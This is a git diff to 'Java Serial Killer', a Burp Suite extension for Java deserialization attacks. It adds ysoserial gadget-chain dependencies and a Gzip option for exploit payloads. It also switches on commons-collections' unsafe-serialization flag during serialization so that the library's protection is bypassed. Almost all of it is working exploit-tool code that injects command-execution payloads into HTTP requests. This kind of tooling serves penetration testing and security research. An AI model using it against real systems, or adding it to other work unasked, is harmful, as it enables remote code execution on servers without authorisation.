diff --git a/README.md b/README.md index de7d6f6..3af599e 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,6 @@ +# Note +**I am not actively updating this extension. I recommend using either https://github.com/federicodotta/Java-Deserialization-Scanner, https://portswigger.net/bappstore/e20cad259d73403bba5ac4e393a8583f, or https://portswigger.net/bappstore/ae1cce0c6d6c47528b4af35faebc3ab3 for exploiting Java Deserialization** + # Java Serial Killer Burp extension to perform Java Deserialization Attacks using the ysoserial payload generator tool. diff --git a/pom.xml b/pom.xml index aab2fb1..e1e71cf 100644 --- a/pom.xml +++ b/pom.xml @@ -7,8 +7,45 @@ com.netspi.javaserialkiller javaserialkiller 1.0-SNAPSHOT + + + + org.apache.maven.plugins + maven-assembly-plugin + + + + jar-with-dependencies + + + + + make-assembly + + package + + single + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 8 + 8 + + + + + + org.apache.commons + commons-collections4 + 4.0 + org.reflections reflections @@ -19,5 +56,40 @@ bsh 2.0b5 + + commons-beanutils + commons-beanutils + 1.7.0 + + + org.codehaus.groovy + groovy-all + 2.1.2 + + + commons-collections + commons-collections + 3.2.2 + + + org.springframework + spring-beans + 3.0.5.RELEASE + + + org.springframework + spring-core + 4.1.4.RELEASE + + + com.google.guava + guava + 23 + + + com.google.guava + guava + 16.0.1 + \ No newline at end of file diff --git a/src/main/java/burp/ChildTab.java b/src/main/java/burp/ChildTab.java index 69dd5f2..a148dc9 100644 --- a/src/main/java/burp/ChildTab.java +++ b/src/main/java/burp/ChildTab.java @@ -24,9 +24,11 @@ public class ChildTab implements IMessageEditorController, ActionListener { private final JPanel panel; public static boolean isEncoded; + public static boolean isCompressed; JButton goButton; JCheckBox base64CheckBox; + JCheckBox compressCheckBox; private final JComboBox payloadComboBox; @@ -66,6 +68,7 @@ public ChildTab(final IBurpExtenderCallbacks callbacks, JTabbedPane tabbedPane, serializeButton.setActionCommand("serialize"); serializeButton.addActionListener(ChildTab.this); + compressCheckBox = new JCheckBox("Gzip"); base64CheckBox = new JCheckBox("Base64 Encode"); String[] typeStrings = { "BeanShell1","CommonsBeanutilsCollectionsLogging1", "CommonsCollections1", "CommonsCollections2", "CommonsCollections3", "CommonsCollections4","Groovy1","Jdk7u21","Spring1"}; @@ -75,6 +78,7 @@ public ChildTab(final IBurpExtenderCallbacks callbacks, JTabbedPane tabbedPane, helpButton.addActionListener(ChildTab.this); topButtonPanel.add(goButton); topButtonPanel.add(serializeButton); + topButtonPanel.add(compressCheckBox); topButtonPanel.add(base64CheckBox); topButtonPanel.add(payloadComboBox); topButtonPanel.add(helpButton); @@ -138,12 +142,13 @@ private void serializeRequest() { // String[] command = Utilities.formatCommand(commandTextField.getText()); boolean isEncoded = base64CheckBox.isSelected(); + boolean isCommpressed = compressCheckBox.isSelected(); String command = commandTextField.getText(); String payloadType = payloadComboBox.getSelectedItem().toString(); - byte[] httpMessage = Utilities.serializeRequest(message,selectedMessage,isEncoded,command,helpers,payloadType); + byte[] httpMessage = Utilities.serializeRequest(message,selectedMessage,isEncoded, isCommpressed,command,helpers,payloadType); requestViewer.setMessage(httpMessage, true); diff --git a/src/main/java/burp/Utilities.java b/src/main/java/burp/Utilities.java index 179474c..8e6c581 100644 --- a/src/main/java/burp/Utilities.java +++ b/src/main/java/burp/Utilities.java @@ -5,33 +5,55 @@ import ysoserial.Serializer; import ysoserial.payloads.ObjectPayload; +import java.io.ByteArrayOutputStream; +import java.io.IOException; import java.util.ArrayList; import java.util.Arrays; import java.util.Base64; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; +import java.util.zip.GZIPOutputStream; public class Utilities { - public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, boolean isEncoded, String command, IExtensionHelpers helpers, String payloadType) { + public static byte[] gzipByteArray(byte[] data) { + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + try { + GZIPOutputStream gzip = new GZIPOutputStream(bos); + gzip.write(data); + gzip.close(); + data = bos.toByteArray(); + bos.close(); + } catch (IOException ignored) { + } + + return data; + } + + public static byte[] serializeRequest( + byte[] message, byte[] selectedMessage, boolean isEncoded, boolean isCompressed, String command, + IExtensionHelpers helpers, String payloadType + ) { int selectedOffset = 0; int endingOffset = 0; - if (selectedMessage != null){ + if (selectedMessage != null) { selectedOffset = Bytes.indexOf(message, selectedMessage); endingOffset = selectedOffset + selectedMessage.length; - } else if(ChildTab.selectedMessage != null) { - + } else if (ChildTab.selectedMessage != null) { + byte[] payload = ChildTab.selectedMessage; + if (ChildTab.isCompressed) { + payload = gzipByteArray(payload); + } if (ChildTab.isEncoded) { - selectedOffset = Bytes.indexOf(message, Base64.getEncoder().encode(ChildTab.selectedMessage)); - endingOffset = selectedOffset + Base64.getEncoder().encode(ChildTab.selectedMessage).length; - } else { - selectedOffset = Bytes.indexOf(message, ChildTab.selectedMessage); - endingOffset = selectedOffset + ChildTab.selectedMessage.length; + payload = Base64.getEncoder().encode(payload); } + + selectedOffset = Bytes.indexOf(message, payload); + endingOffset = selectedOffset + payload.length; } if (ChildTab.selectedMessage != null || selectedMessage != null) { @@ -43,6 +65,14 @@ public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, bo ChildTab.selectedMessage = exploitArray; + + if (isCompressed) { + exploitArray = gzipByteArray(exploitArray); + ChildTab.isCompressed = true; + } else { + ChildTab.isCompressed = false; + } + byte[] output; if (isEncoded) { @@ -67,20 +97,24 @@ public static byte[] serializeRequest(byte[] message, byte[] selectedMessage, bo return helpers.buildHttpMessage(headers, newBody); } else { - return message; - } + return message; + } } - private static byte[] getExploitPayload(String payloadType, String command){ + private static byte[] getExploitPayload(String payloadType, String command) { - final Class payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType.split(" ")[0]); + final Class payloadClass = ObjectPayload.Utils.getPayloadClass( + payloadType.split(" ")[0] + ); byte[] exploitPayload = new byte[0]; try { final ObjectPayload payload = payloadClass.newInstance(); final Object object = payload.getObject(command); + System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); exploitPayload = Serializer.serialize(object); + System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "false"); } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); @@ -90,7 +124,7 @@ private static byte[] getExploitPayload(String payloadType, String command){ } - public static String[] formatCommand(String command){ + public static String[] formatCommand(String command) { List list = new ArrayList<>(); Matcher m = Pattern.compile("([^\']\\S*|\'.*?(.*).*?.+?\')\\s*").matcher(command); int first; @@ -98,11 +132,11 @@ public static String[] formatCommand(String command){ String firstFix; String lastFix; while (m.find()) { - if(m.group(1).contains("\'")){ + if (m.group(1).contains("\'")) { first = m.group(1).indexOf('\''); - firstFix = new StringBuilder(m.group(1)).replace(first,first+1,"").toString(); + firstFix = new StringBuilder(m.group(1)).replace(first, first + 1, "").toString(); last = firstFix.lastIndexOf('\''); - lastFix = new StringBuilder(firstFix).replace(last,last+1,"").toString(); + lastFix = new StringBuilder(firstFix).replace(last, last + 1, "").toString(); list.add(lastFix); } else { list.add(m.group(1));